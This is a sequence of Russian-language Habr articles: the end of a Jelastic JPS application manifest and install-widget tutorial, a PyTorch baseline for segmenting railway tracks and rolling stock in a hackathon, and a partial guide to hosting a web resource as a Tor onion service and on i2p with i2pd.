"name":"value",
"context":"value"
}
]
```
**“upload”:[ ]** — блок может быть добавлен, если приложению требуются сторонние файлы, они будут загружены и установлены.
```
"upload":[
{
"nodeType":"value",
"sourcePath":"value",
"destPath":"value"
}
],
```
**“configs”:[ ]** — этот блок позволяет изменять любой файл на любой из нод для настройки параметров приложения (например, описание процесса установки соединения между сервером приложений и базой данных).
```
"configs":[
{
"nodeType":"value",
"restart":"value",
"replacements":[]
"path":"value",
"database":{},
}
]
```
Пример кода, который описывает параметры окружения для выполнения Hello World:
```
"env": {
"topology": {
"engine": "php5.3",
"nodes": [{
"extip": false,
"count": 1,
"cloudlets": 16,
"nodeType": "apache2"
}
],
"ssl": false,
"ha": false
},
"deployments": [{
"archive": "http://app.jelastic.com/xssu/cross/download/RDYYHFNuUQYJBFpPZQ08F0UWCRlUHxdBD0ZlTS4gcQJFFBJUDwIBQmNTTEBI",
"name": "Hello World",
"context": "ROOT"
}
],
"configs": []
},
```
Детальная информация о первичных настройках [доступна здесь](http://docs.jelastic.com/application-manifest#ad).
JPS поддерживает список шаблонов (placeholders), которые могут быть использованы в любой части файла JPS (если блок не ограничен строго содержимым). Контроллер JPS постарается преобразовать все шаблоны на стадии установки пакетов. Если этого не произойдет, шаблон не будет реализован и отобразится в тексте как ${placeholder}
##### Проверка результата
Для проверки корректности созданного манифеста используйте ссылку ниже. Ссылка инициализирует процесс установки:
[app.jelasticloud.com?manifest=](http://app.jelasticloud.com?manifest=){manifest\_code}
Отметим, в указанной ссылке вместо кода манифеста, мы рекомендуем использовать URL с JSON файлом манифеста.
В случая проблем с манифестом можно нажать Send report и отобразятся подробности ошибки в details:
Код JSON можно проверить например в валидаторе <http://pro.jsonlint.com> и исправить ошибку.
В случае успеха вы увидите предложение к развертыванию приложения:
##### Образец манифеста для Magento
Перед вами пример манифеста Magento. Вы можете использовать этот код как основу при подготовке пакетов приложений. С остальными примерами можно ознакомиться [здесь](http://docs.jelastic.com/application-manifest#ad).
```
{
"jpsVersion": "0.2",
"jpsType": "install",
"application": {
"id": "omagento1",
"logo": "https://app.jelastic.com/xssu/cross/download/RDYYHFNvBFQOA1RKYgFoRhdDWhRTS00RDxZtG34gIlYWHhdXDwIBQmNTTEBI/view",
"description": {
"en": "Magento is the eCommerce software and platform trusted by the world's leading brands. Grow your online business with Magento!"
},
"name": "Magento1",
"env": {
"topology": {
"engine": "php5.3",
"nodes": [{
"extip": false,
"cloudlets": 16,
"count": 1,
"nodeType": "apache2"
}, {
"extip": false,
"cloudlets": 16,
"count": 1,
"nodeType": "mysql5"
}
],
"ssl": false,
"ha": false
},
"deployments": [{
"name": "magento-1.7.0.2.zip",
"context": "ROOT",
"archive": "https://app.jelastic.com/xssu/cross/download/RDYYHA9jBlRaAVRLZldjQUdFDhhUG0dACkY4TnpzJlFFEhZVDwIBQmNTTEBI"
}
],
"configs": [{
"nodeType": "mysql5",
"database": {
"dump": "https://app.jelastic.com/xssu/cross/download/RDYYHFM0UFEJU1VNNwVqRRBAXhhXGBEQChNrG31xdFQRFkBYDwIBQmNTTEBI",
"patch": "UPDATE magento.admin_user SET password=CONCAT(MD5('qX${user.appPassword}'), ':qX'), email='${user.email}' WHERE username='admin';",
"name": "magento",
"user": "magento"
}
}, {
"replacements": [{
"replacement": "${env.appid}",
"pattern": "{{key}}"
}, {
"replacement": "${nodes.mysql5.address}",
"pattern": "{{db_host}}"
}, {
"replacement": "${nodes.mysql5.database.user}",
"pattern": "{{db_user}}"
}, {
"replacement": "${nodes.mysql5.database.password}",
"pattern": "{{db_pass}}"
}, {
"replacement": "${nodes.mysql5.database.name}",
"pattern": "{{db_name}}"
}, {
"replacement": "",
"pattern": "{{db_name}}"
}
],
"path": "/var/www/webroot/ROOT/app/etc/local.xml",
"nodeType": "apache2"
}, {
"restart": true,
"replacements": [{
"replacement": "extension=gd.so",
"pattern": "; Dynamic Extensions ;"
}
],
"path": "/etc/php.ini",
"nodeType": "apache2"
}
]
},
"success": {
"text": "Admin panel URL: <${env.url}index.php/admin/> Username: admin Password: ${user.appPassword}",
"email" : "Admin panel URL: <${env.url}index.php/admin/> Username: admin Password: ${user.appPassword}"
},
"type": "php",
"homepage": "http://www.magentocommerce.com/",
"version": "1.7.0.2"
}
}
```
**Дополнительная полезная информация:**
* ссылки в манифесте на логотип должны быть https.
* аттрибут ha доступен только для Java–приложений в настоящий момент.
* для корректного отображения description должен быть на всех языках, которые включены в панели управления Jelastic (в настоящий момент это русский и английский).
##### Установочный виджет
Давайте рассмотрим другую сторону использования JPS. Когда манифест приложения будет готов, вы сможете поделиться возможностью установки приложения в 1 клик с пользователями с помощью виджета установки:
В виде примера мы разбираем виджет пакета Magento.
1) Разместите следующий JavaScript на вашей странице. Лучше всего, если код будет сразу после открывающего тэга .
```
(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.async = true;
js.src = "//go.jelastic.com/widgets.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'jelastic-jssdk'));
```
2) Этот код поместите в любом месте, где вы бы хотели увидеть виджет.
```
```
Указанные выше атрибуты отвечают за:
**data-manifest** — определяет ссылку на файл JSON.
**data-width** — ширина виджета.
**data-theme** — цвет виджета. Доступны: flat-blue, flat-purple, flat-orange, flat-green;
**data-text** — начальная метка виджета. Текст по умолчанию: Get it hosted now!
**data-tx-empty** — при наведении мыши на виджет пользователь увидит текст, описанный этим атрибутом. Дефолт: Type your email and click the button
**data-tx-invalid-email** — текст, описанный атрибутом, отдается если e-mail некорректный. Дефолт: Invalid email, please check the spelling
**data-tx-error** — если пройзойдет какая-либо ошибка пользователь увидит сообщение: An error has occurred, please try again later
**data-tx-success** — текст будет показан, если все хорошо, процесс установки начат и письмо для подтверждения отправлено: Check your email.
**class** — атрибут всегда содержит значение je-app.
**data-key** — необязательный параметр, который определяет хостинг-провайдера. Если параметр не определен, то дейтсвует GeoIP. Будет выбран географически близкий к пользователю провайдер.
Виджет вы можете использовать на любой сайте и кастомизировать его как угодно. Единственное условие, которое следует соблюдать, виджет должен запрашивать ссылку следующего вида:
[reg.app.jelasticloud.com/installapp?email=](http://reg.app.jelasticloud.com/installapp?email=){user\_email}&id={app\_id}
##### Со стороны пользователя
Когда виджет уже размещен на сайте, любой пользователь может начать процесс установки, кликнув кнопку **Get it hosted now!** и выполнив ряд действий:
1) Введите электронный почтовый адрес и нажмите на указатель.
2) Письмо с ссылкой для подтверждения будет отправлено на указанный e-mail. Ссылка действует один раз и осуществляет перенаправление в панель управления Jelastic.
Если e-mail уже зарегестрирован в Jelastic, то пользователь автоматически залогиниться в панель управления. В противном случае, пользователю на e-mail придут учетные данные для входа.
3) В панели управления будет открыто окно **Сonfirm installation of application** c краткой информацией о приложении.
Необходимо ввести название окружения, которое будет создано для деплоя приложения и нажать Install.
4) Процесс создания начат. Необходимо выждать пару минут, Создание окружения, его конфигурация и деплой приложения будут завершены.
Url приложения и данные для доступа к нему отобразятся по окончании процесса установки (разумеется, если это указано для приложения).
5) Нажмите кнопку **Open in browser** и приложение загрузится в тот же момент.
Как видите, приложение работает и готово к использованию. Нет ничего сложного!
##### Итоги
В этой статье мы рассмотрели как просто запаковать приложение и дать конечному пользователю возможность с легкостью развернуть его.
Создавайте пакеты ваших приложений и делитесь ими на сайтах с помощью виджетов. Один клик — и готово!
Чем больше виджетов, тем больше пользователей.
Начните сейчас и ощутите выгоду от использования формата JPS и [платформы InfoboxCloud Jelastic](http://infoboxcloud.ru/paas). | https://habr.com/ru/post/220137/ | null | ru | null |
# Разбор базового решения для задачи определения железнодорожной колеи и подвижного состава с Цифрового Прорыва
ruDALL-E Kandinsky считает, что наши данные выглядят так. И в чем-то он прав...Привет, Хабр!
Это одна из трех статей, в которых я (автор канала [Зайцем по ХаХатонам](https://t.me/hahatons)) рассказываю о задачах [Всеросийского чемпионата Цифрового Прорыва](https://hacks-ai.ru/championships/758453), объясняю базовые решения (baseline) и даю советы, которые помогут подняться выше по рейтингу. В данной статье будет рассмотрен кейс от НИИАС-РЖД, в котором необходимо разработать алгоритм определения железнодорожной колеи и подвижного состава для предотвращения чрезвычайных ситуаций на железной дороге.
Спойлер: в конце статьи есть советы для улучшения базового решения.
Цифровой Прорыв
---------------
Думаю, все и так знают, что такое [Цифровой Прорыв](https://hacks-ai.ru). Однако, напомню, что в этом году основной тематикой стал искусственный интеллект. И сезон этого года в самом разгаре!
Хоть часть мероприятий уже прошла, впереди участников ждет ещё 19 региональных чемпионатов, 5 окружных хакатонов и 3 всероссийских чемпионата. Советую присоединиться ко мне и другим участникам, чтобы не упустить возможность выиграть денежные призы и крутые путешествия, а также набраться опыта на самых разных задачах.
Введение
--------
Автоматизация функций управления и обеспечения безопасности за счет внедрения технических средств — всё это способы повышения уровня безопасности на железнодорожном транспорте.
Внедрение новой техники и технологий автоматизации позволяет исключить некоторые опасные технологические операции и значительно изменить характер работы многих сотрудников железной дороги. Внедрение блоков определения препятствий на основе видеоаналитики позволяет вести дополнительный визуальный контроль пространства перед поездом, определять путь и направление движения. Применение камер различного диапазона видимости и фокусного расстояния увеличивает возможности системы технического зрения и превышает возможности человека по скорости реакции, дальности определения препятствий, в том числе в сложных погодных условиях (ночь, дождь, снег, туман, задымленность, ослепление солнечным светом, переход из затемненных участков на освещенные).
Создание интеллектуальных систем, предупреждающих машиниста о возможном столкновении с потенциально опасными объектами, содержит в себе несколько первостепенных задач: определения колеи и подвижного состава.
Условие задачи
--------------
В рамках чемпионата требуется создать алгоритм, определяющий элементы дорожной инфраструктуры: колею (рельсошпальную решетку) и подвижной состав (локомотивы, грузовые вагоны, пассажирские вагоны).
### Данные
* train/images — папка, содержащая 8203 трехканальных RGB изображений для обучения.
* train/mask — папка, содержащая 8203 масок той же размерности со сегментированной инфраструктурой .
* test/— папка, содержащая 1000 фотографий для классификации;
### Ожидаемое решение
На вход модели подается 1000 картинок, ответом должно стать 1000 масок изображений. Вам необходимо загрузить именно 1000, чтобы не было ошибки. Для корректной проверки требуется, чтобы найденные маски имели те же названия, что и оригинальные изображения с расширением “.png“
### На что стоит обратить внимание
Стоит отметить, что изображения хоть и сделаны с одной точки и на постоянной высоте, при этом имеют большую размерность и сделаны в разных погодных условиях: ночью, в дождь, в снег, во время тумана, задымленности.
### Метрика
В качестве метрики в задаче выступает индекс оценки семантической сегментации или же **MIoU.** Подробнее о метрике можно [почитать тут](https://medium.com/@cyborg.team.nitr/miou-calculation-4875f918f4cb).
Подробно о решении
------------------
### Методология решения
### Какие библиотеки нам нужны
В начале нужно установить все нестандартные модули.
```
# Catalyst
!pip install catalyst==20.12
# for augmentations
!pip install albumentations==0.4.3
# for pretrained segmentation models for PyTorch
!pip install segmentation-models-pytorch==0.1.0
# for TTA
!pip install ttach==0.0.2
# for tensorboard
!pip install tensorflow
# if Your machine support Apex FP16, uncomment this 3 lines below
# !git clone https://github.com/NVIDIA/apex
# !pip install -v --no-cache-dir --global-option="--cpp_ext" --global-option="--cuda_ext" ./apex
# is_fp16_used = True
```
Далее импортируем библиотеки, которые понадобятся нам в решении. И фиксируем *random\_seed*, чтобы результаты получились воспроизводимыми.
Из важных библиотек хочется отметить следующие:
* torch - основная библиотека для создания моделей глубокого обучения (нейросетей)
* catalyst - библиотека для упрощения и ускорения создания моделей
* segmentation\_models\_pytorch - библиотека, в который собраны модели и функции для решения задач сегментации (разработана нашим соотечественником)
* albumentations - библиотека для аугментации данных
```
from typing import Callable, List, Tuple
import random
import collections
import matplotlib.pyplot as plt
import numpy as np
from skimage.io import imread as gif_imread
from sklearn.model_selection import train_test_split
from pathlib import Path
import os
import torch
from torch.utils.data import Dataset, DataLoader
from torch import nn
from torch import optim
import catalyst
from catalyst import utils
from catalyst.contrib.nn import DiceLoss, IoULoss
from catalyst.contrib.nn import RAdam, Lookahead
from catalyst.dl import SupervisedRunner
from catalyst.dl import DiceCallback, IouCallback, \
CriterionCallback, MetricAggregationCallback
from catalyst.contrib.callbacks import DrawMasksCallback
import segmentation_models_pytorch as smp
import albumentations as albu
from albumentations.pytorch import ToTensor
print(f"torch: {torch.__version__}, catalyst: {catalyst.__version__}")
SEED = 42
utils.set_global_seed(SEED)
utils.prepare_cudnn(deterministic=True)
import warnings
warnings.filterwarnings("ignore")
```
### Преобразование начального датасета
Объявим пути до данных и соберем пути до всех изображений и масок из тренировочной выборки.
```
ROOT = Path("/content/")
train_image_path = ROOT / "train"
train_mask_path = ROOT / "train_masks"
test_image_path = ROOT / "test"
ALL_IMAGES = sorted(train_image_path.glob("*.png"))
print('Images:', len(ALL_IMAGES))
ALL_MASKS = sorted(train_mask_path.glob("*.png"))
print('Masks:', len(ALL_MASKS))
```
### Визуализация данных
Напишем функции для визуализации данных.
```
def show_examples(name: str, image: np.ndarray, mask: np.ndarray):
plt.figure(figsize=(10, 14))
plt.subplot(1, 2, 1)
plt.imshow(image)
plt.title(f"Image: {name}")
plt.subplot(1, 2, 2)
plt.imshow(mask)
plt.title(f"Mask: {name}")
def show(index: int, images: List[Path], masks: List[Path], transforms=None) -> None:
image_path = images[index]
name = image_path.name
image = utils.imread(image_path)
mask = gif_imread(masks[index])
if transforms is not None:
temp = transforms(image=image, mask=mask)
image = temp["image"]
mask = temp["mask"]
show_examples(name, image, mask)
def show_random(images: List[Path], masks: List[Path], transforms=None) -> None:
length = len(images)
index = random.randint(0, length - 1)
show(index, images, masks, transforms)
```
Визуализируем случайное изображение.
```
show_random(ALL_IMAGES, ALL_MASKS)
```
Пример изначальных данных
Слева - изображение
Справа - маска### Аугментация входных данных
Аугментации нужны для того, чтобы добавить разнообразия в данные и снизить вероятность переобучения модели, при этом повысив качество ее работы на тестовом наборе данных.
В базовом решении используются такие аугментации, как повороты на 90 градусов, вырезки кусочком изображения, случайная яркость и контрастность, различные искажения и шумы, изменение цветовых характеристик, кропы.
```
def pre_transforms(image_size=224):
return [albu.Resize(image_size, image_size, p=1)]
def hard_transforms():
result = [
albu.RandomRotate90(),
albu.Cutout(),
albu.RandomBrightnessContrast(
brightness_limit=0.2, contrast_limit=0.2, p=0.3
),
albu.GridDistortion(p=0.3),
albu.HueSaturationValue(p=0.3)
]
return result
def resize_transforms(image_size=224):
BORDER_CONSTANT = 0
pre_size = int(image_size * 1.5)
random_crop = albu.Compose([
albu.SmallestMaxSize(pre_size, p=1),
albu.RandomCrop(
image_size, image_size, p=1
)
])
rescale = albu.Compose([albu.Resize(image_size, image_size, p=1)])
random_crop_big = albu.Compose([
albu.LongestMaxSize(pre_size, p=1),
albu.RandomCrop(
image_size, image_size, p=1
)
])
# Converts the image to a square of size image_size x image_size
result = [
albu.OneOf([
random_crop,
rescale,
random_crop_big
], p=1)
]
return result
def post_transforms():
# we use ImageNet image normalization
# and convert it to torch.Tensor
return [albu.Normalize(), ToTensor()]
def compose(transforms_to_compose):
# combine all augmentations into single pipeline
result = albu.Compose([
item for sublist in transforms_to_compose for item in sublist
])
return result
```
Объявим тренировочные, валидационные и тестовые трансформации для дальнейшего переиспользования.
```
train_transforms = compose([
resize_transforms(),
hard_transforms(),
post_transforms()
])
valid_transforms = compose([pre_transforms(), post_transforms()])
show_transforms = compose([resize_transforms(), hard_transforms()])
```
Посмотрим как выглядит изображение после аугментации.
```
show_random(ALL_IMAGES, ALL_MASKS, transforms=show_transforms)
```
Пример изображения и маски с аугментацией.
В данном случае хорошо виден добавленный шум.### Загрузчик данных
На вход в модель данные должны подаваться в определенном формате. Поэтому для начала создадим класс *SegmentationDataset*, который будет приводить данные в нужный формат.
```
class SegmentationDataset(Dataset):
def __init__(
self,
images: List[Path],
masks: List[Path] = None,
transforms=None
) -> None:
self.images = images
self.masks = masks
self.transforms = transforms
def __len__(self) -> int:
return len(self.images)
def __getitem__(self, idx: int) -> dict:
image_path = self.images[idx]
image = utils.imread(image_path)
result = {"image": image}
if self.masks is not None:
mask = gif_imread(self.masks[idx])
result["mask"] = mask
if self.transforms is not None:
result = self.transforms(**result)
result["filename"] = image_path.name
return result
```
После напишем функцию, которая создает и возвращает загрузчики данных (dataloader).
```
def get_loaders(
images: List[Path],
masks: List[Path],
random_state: int,
valid_size: float = 0.5,
batch_size: int = 32,
num_workers: int = 4,
train_transforms_fn = None,
valid_transforms_fn = None,
) -> dict:
indices = np.arange(len(images))
# Let's divide the data set into train and valid parts.
train_indices, valid_indices = train_test_split(
indices, test_size=valid_size, random_state=random_state, shuffle=True
)
np_images = np.array(images)
np_masks = np.array(masks)
# Creates our train dataset
train_dataset = SegmentationDataset(
images = np_images[train_indices].tolist(),
masks = np_masks[train_indices].tolist(),
transforms = train_transforms_fn
)
# Creates our valid dataset
valid_dataset = SegmentationDataset(
images = np_images[valid_indices].tolist(),
masks = np_masks[valid_indices].tolist(),
transforms = valid_transforms_fn
)
# Catalyst uses normal torch.data.DataLoader
train_loader = DataLoader(
train_dataset,
batch_size=batch_size,
shuffle=True,
num_workers=num_workers,
drop_last=True,
)
valid_loader = DataLoader(
valid_dataset,
batch_size=batch_size,
shuffle=False,
num_workers=num_workers,
drop_last=True,
)
# And excpect to get an OrderedDict of loaders
loaders = collections.OrderedDict()
loaders["train"] = train_loader
loaders["valid"] = valid_loader
return loaders
```
Объявим *batch\_size* и получим загрузчики данных при помощи созданной ранее функции.
```
batch_size = 16
print(f"batch_size: {batch_size}")
loaders = get_loaders(
images=ALL_IMAGES,
masks=ALL_MASKS,
random_state=SEED,
train_transforms_fn=train_transforms,
valid_transforms_fn=valid_transforms,
batch_size=batch_size
)
```
### Создание и обучение модели
Перейдем к этапу создания модели. Как я уже упоминал на этапе импорта библиотек в модель мы берем из [segmentation\_models\_pytorch](https://segmentation_models.pytorch). Посмотреть все доступные модели, функции потерь и метрики можно в гитхабе данной библиотеки.
В базовом решении используется модель архитектуры FPN - Feature Pyramid Network с resnext50 в backbone.
Также нельзя не заметить, что мы создаем модель с выходным слоем для одного класса. Сделано это исключительно для упрощения базового решения, которое я менять не могу в силу правил соревнования. Но для боевого решения нужно будет изменить количество классов на 3.
```
# We will use Feature Pyramid Network with pre-trained ResNeXt50 backbone
model = smp.FPN(encoder_name="resnext50_32x4d", classes=1)
```
Для обучения используется составная функция потерь, состоящая из DiceLoss, IoULoss и BinaryCrossEntropy.
```
# we have multiple criterions
criterion = {
"dice": DiceLoss(),
"iou": IoULoss(),
"bce": nn.BCEWithLogitsLoss()
}
```
Объявим остальные параметры необходимы для обучения модели. Оптимизатор - *RAdam*, функция для уменьшения *learning\_rate* - *ReduceLROnPlateau*.
```
learning_rate = 0.001
encoder_learning_rate = 0.0005
# Since we use a pre-trained encoder, we will reduce the learning rate on it.
layerwise_params = {"encoder*": dict(lr=encoder_learning_rate, weight_decay=0.00003)}
# This function removes weight_decay for biases and applies our layerwise_params
model_params = utils.process_model_params(model, layerwise_params=layerwise_params)
# Catalyst has new SOTA optimizers out of box
base_optimizer = RAdam(model_params, lr=learning_rate, weight_decay=0.0003)
optimizer = Lookahead(base_optimizer)
scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, factor=0.25, patience=2)
```
Для проверки работоспособности решения обучим модель всего на 3 эпохах.
```
num_epochs = 3
logdir = "./logs/segmentation"
device = utils.get_device()
print(f"device: {device}")
#fp16_params = dict(opt_level="O1") # params for FP16
fp16_params = None
print(f"FP16 params: {fp16_params}")
# by default SupervisedRunner uses "features" and "targets",
# in our case we get "image" and "mask" keys in dataset __getitem__
runner = SupervisedRunner(device=device, input_key="image", input_target_key="mask")
```
Объявим *callbacks* для рассчета функции потерь. И запустим обучение.
```
callbacks = [
# Each criterion is calculated separately.
CriterionCallback(
input_key="mask",
prefix="loss_dice",
criterion_key="dice"
),
CriterionCallback(
input_key="mask",
prefix="loss_iou",
criterion_key="iou"
),
CriterionCallback(
input_key="mask",
prefix="loss_bce",
criterion_key="bce"
),
# And only then we aggregate everything into one loss.
MetricAggregationCallback(
prefix="loss",
mode="weighted_sum", # can be "sum", "weighted_sum" or "mean"
# because we want weighted sum, we need to add scale for each loss
metrics={"loss_dice": 1.0, "loss_iou": 1.0, "loss_bce": 0.8},
),
# metrics
DiceCallback(input_key="mask"),
IouCallback(input_key="mask"),
# visualization
DrawMasksCallback(output_key='logits',
input_image_key='image',
input_mask_key='mask',
summary_step=50
)
]
runner.train(
model=model,
criterion=criterion,
optimizer=optimizer,
scheduler=scheduler,
# our dataloaders
loaders=loaders,
# We can specify the callbacks list for the experiment;
callbacks=callbacks,
# path to save logs
logdir=logdir,
num_epochs=num_epochs,
# save our best checkpoint by IoU metric
main_metric="iou",
# IoU needs to be maximized.
minimize_metric=False,
# for FP16. It uses the variable from the very first cell
fp16=fp16_params,
# prints train logs
verbose=True,
)
```
Так должен выглядеть лог обучения модели### Проверка модели
После того, как мы обучили модель, остается только создать предсказания на тестовых данных. Для этого создадим загрузчик данных для тестовых файлов и прогоним его через модель.
```
TEST_IMAGES = sorted(test_image_path.glob("*.png"))
# create test dataset
test_dataset = SegmentationDataset(
TEST_IMAGES,
transforms=valid_transforms
)
num_workers: int = 4
infer_loader = DataLoader(
test_dataset,
batch_size=batch_size,
shuffle=False,
num_workers=num_workers
)
# this get predictions for the whole loader
predictions = np.vstack(list(map(
lambda x: x["logits"].cpu().numpy(),
runner.predict_loader(loader=infer_loader, resume=f"logs/segmentation/checkpoints/best.pth")
)))
```
Визуализируем полученные результаты. Напомню, что сейчас мы предсказываем только один класс. К тому же, я закомментировал строку с преобразованием маски из вероятностей в целые числа, чтобы результат был более наглядным.
```
threshold = 0.5
max_count = 1
for i, (features, logits) in enumerate(zip(test_dataset, predictions)):
image = utils.tensor_to_ndimage(features["image"])
mask_ = torch.from_numpy(logits[0]).sigmoid()
#mask = utils.detach(mask_ > threshold).astype("float")
show_examples(name="", image=image, mask=mask_)
if i >= max_count:
break
```
Предсказанная маска справа похожа на хитмап, ведь чем сильнее признаки, тем больше вероятность.Рекомендации по улучшению решения
---------------------------------
Пример предсказанной маски с более качественно обученной моделью* Начать, конечно же, стоит с изменения количества классов с 1 на 3. Это даст возможность получить валидные предсказания и засылать их на платформу.
* Следующим шагом я бы посоветовал увеличить количество эпох и дообучить модель, так как 3 эпох явно недостаточно.
* Попробовать другие архитектуры моделей, например популярный в соревнованиях по анализу данных Unet.
* Создать ансамбль моделей и попробовать применить метод TTA.
* Изучить используемые аугментации и, возможно, как-то их улучшить.
* Поиграться с размером подаваемых в модель изображений.
### Итоги
Данный кейс является классической задачей на сегментацию. Соответственно и методы решения можно брать из других соревнований с задачами сегментации, шансы, что это поможет улучшить результат крайне высок.
Все интересующие вас вопросе вы можете задать в [канале Зайцем по ХаХатонам](https://t.me/hahatons).
Всем удачи на чемпионатах и хакатонах! | https://habr.com/ru/post/676044/ | null | ru | null |
# Чесночно-луковый хостинг: как поднять веб-ресурс, чтобы не отобрали домен
[](https://habr.com/ru/company/ruvds/blog/512318/)
Дисклеймер: инструменты, описанные здесь абсолютно легальны. Это как нож: кто-то режет капусту в салат, кто-то использует для нападений. Поэтому пост посвящен исключительно инструментам, которые могут использоваться как в хороших, так и не очень целях.
Глобальный DNS — прекрасная вещь, пережившая не одно десятилетие. Но у него есть фундаментальная проблема — ваш домен могут просто разделегировать, если вдруг решат, что вы что-то нарушили. Ну или у кого-то с деньгами и связями будет на вас зуб. Историю того же torrents.ru все помнят. Если по каким-то причинам вы хотите убрать подобные риски — можно посмотреть в сторону оверлейных сетей, у которых просто нет регулятора, способного разделегировать доменное имя. Поэтому будем поднимать onion- и i2p-веб-ресурсы.
Луковые кольца
--------------
Начнем с классики. Я думаю, что на Хабре почти все использовали Tor в виде бандла [Tor-browser](https://www.torproject.org/download/). Меня это сильно выручало, когда в процессе охоты за Telegram вдруг начали резко рвать связность с крупнейшими хостерами в самых неожиданных местах. В этом режиме Tor использует классическое луковое шифрование, послойно заворачивая данные таким образом, чтобы было невозможно установить источник и конечную цель пакета. Тем не менее конечной точкой маршрута все равно является обычный интернет, куда мы в итоге попадаем через Exit-ноды.
У этого решения есть несколько проблем:
1. К владельцу Exit-ноды могут прийти недоброжелательно настроенные люди и начать утверждать, что владелец закоренелый преступник, ругающийся нехорошими словами на представителей власти. Есть ненулевой риск, что ваши объяснения про то, что вы только выходной узел, мало кто будет слушать.
2. Использование сети tor как прокси к обычным ресурсам анонимизирует клиента, но никак не поможет от разделегирования домена и претензий к владельцу сервиса.
### Готовим контент и обычный веб-сервер
Поэтому будем поднимать onion-ресурс непосредственно внутри сети, без выхода в обычный интернет. Например, как дополнительную резервную точку входа на свой ресурс. Предположим, что у вас уже есть веб-сервер с некоторым контентом, который отдает nginx. Для начала, если вы не хотите светиться в общедоступном интернете, не поленитесь зайти в iptables и настроить firewall. У вас должен быть заблокирован доступ в вашему веб-серверу отовсюду, кроме localhost. В результате вы получили сайт, доступный локально по адресу [localhost](http://localhost):8080/. Дополнительное прикручивание https тут будет избыточным, так как транспорт tor возьмет на себя эту задачу.
### Разворачиваем TOR
Я буду рассматривать установку на примере Ubuntu, но с другими дистрибутивами принципиальных отличий не будет. Для начала определимся с репозиторием. Официальная документация не рекомендует использовать пакеты, которые мейнтейнятся самим дистрибутивом, так как они могут содержать критические уязвимости, уже исправленные разработчиками в апстриме. Более того, разработчики рекомендуют использовать механизм автоматических обновлений unattended-upgrades, для того чтобы гарантировать их своевременную доставку.
Создаем файл для дополнительного репозитория:
```
# nano /etc/apt/sources.list.d/tor.list
```
И добавляем в него нужные адреса:
```
deb https://deb.torproject.org/torproject.org bionic main
deb-src https://deb.torproject.org/torproject.org bionic main
```
Теперь надо позаботиться о gpg ключе, без которого сервер совершенно разумно не будет доверять новым пакетам.
```
# curl https://deb.torproject.org/torproject.org A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --import
# gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -
```
Теперь можно установить основной пакет из апстрима и связку ключей для автоматического обновления подписи.
```
# apt update
# apt install tor deb.torproject.org-keyring
```
### Настраиваем проксирование
В /etc/tor/torrc вы найдете конфигурационный файл демона. После его обновления не забудьте выполнить его рестарт.
Сразу хочу предупредить особо любопытных пользователей. **Не включайте relay-режим на домашней машине!** Особенно в режиме exit-ноды. Могут постучаться. На VPS я бы тоже не стал конфигурировать ноду как relay, так как это создаст довольно ощутимую нагрузку как на процессор, так и на траффик. На широком канале вы легко выйдете за 2-3 терабайта в месяц.
Найдите в torrc секцию следующего вида:
```
############### This section is just for location-hidden services ###
```
Сюда необходимо прописать ваш локалхостный веб-ресурс. Примерно так:
```
HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
```
Или вы можете использовать unix-сокеты:
```
HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/
HiddenServicePort 80 unix:/path/to/socket
```
### Получаем адрес
Все, теперь рестартуем демон tor через systemctl и смотрим в HiddenServiceDir. Там будет лежать несколько файлов — приватный ключ и ваш «луковый» hostname. Он представляет собой случайный идентификатор из 16 символов. Например, [gjobqjj7wyczbqie.onion](http://gjobqjj7wyczbqie.onion/) — адрес поискового ресурса Candle. Адрес полностью случаен, но при достаточно длительном переборе можно сгенерировать человекочитаемую пару из адреса и приватного ключа. Конечно, не на все 16 символов — на это ушло бы миллиарды лет. Например, у всем известного каталога книг Флибусты есть зеркало [flibustahezeous3.onion](http://flibustahezeous3.onion), а Facebook потратил кучу ресурсов на то, чтобы выбрать из сгенерированных вариантов наиболее благозвучный: [facebookcorewwwi.onion](http://facebookcorewwwi.onion).
Все, через какое-то время ваш ресурс будет проанонсирован и станет глобально доступен. Обратите внимание, что проксировать можно не только http-протокол, но и любой другой.
Чеснок
------
Второй вариант задумывался как еще более параноидальный по своей сути. Проект i2p изначально не задумывался как средство для проксирования трафика в обычный интернет и по архитектуре является полностью закрытой оверлейной сетью. Отдельные гейты в обе стороны существуют, но это скорее исключение. Причем потенциально небезопасное.
*Красный логотип эталонного i2p и пурпурный i2pd-реализации*
У i2p есть несколько вариантов реализации программных узлов-роутеров. Официальная имплементация написана на Java. И она просто чудовищно пожирает все доступные ресурсы как в плане RAM, так и CPU. Тем не менее именно она считается эталонной и проходит регулярный аудит. Я бы порекомендовал вам использовать куда более легковесный вариант — i2pd, написанный на C++. У него есть свои нюансы, из-за которых могут не работать некоторые i2p-приложения, но в целом это отличная альтернативная реализация. Проект активно пилится в настоящее время.
### Устанавливаем демона
Самое удобное, что авторы предусмотрели множество вариантов развертывания, включая docker и snap. Можно пойти путем классического репозитория.
```
sudo add-apt-repository ppa:purplei2p/i2pd
sudo apt-get update
sudo apt-get install i2pd
```
Но я бы советовал использовать snap. Он не только быстро и удобно развернет демона, но и обеспечит автоматическое обновление прямо из апстрима, в зависимости от выбранного канала распространения.
```
no_face@i2pd:~$ snap info i2pd
name: i2pd
summary: Distributed anonymous networking framework
publisher: Darknet Villain (supervillain)
store-url: https://snapcraft.io/i2pd
license: BSD-3-Clause
description: |
i2pd (I2P Daemon) is a full-featured C++ implementation of I2P client.
I2P (Invisible Internet Protocol) is a universal anonymous network layer.
All communications over I2P are anonymous and end-to-end encrypted,
participants don't reveal their real IP addresses.
snap-id: clap1qoxuw4OdjJHVqEeHEqBBgIvwOTv
channels:
latest/stable: 2.32.1 2020-06-02 (62) 16MB -
latest/candidate: ↑
latest/beta: ↑
latest/edge: 2.32.1 2020-06-02 (62) 16MB -
```
Установите snap, если вы этого еще не сделали и установите stable вариант по умолчанию:
```
apt install snapd
snap install i2pd
```
### Конфигурируем
У i2pd в отличие от web-gui Java версии нет такого количества настроек, крутилочек и вкладок. Только самое необходимое до аскетичности. Тем не менее проще всего будет настроить его напрямую в конфигурационном файле.
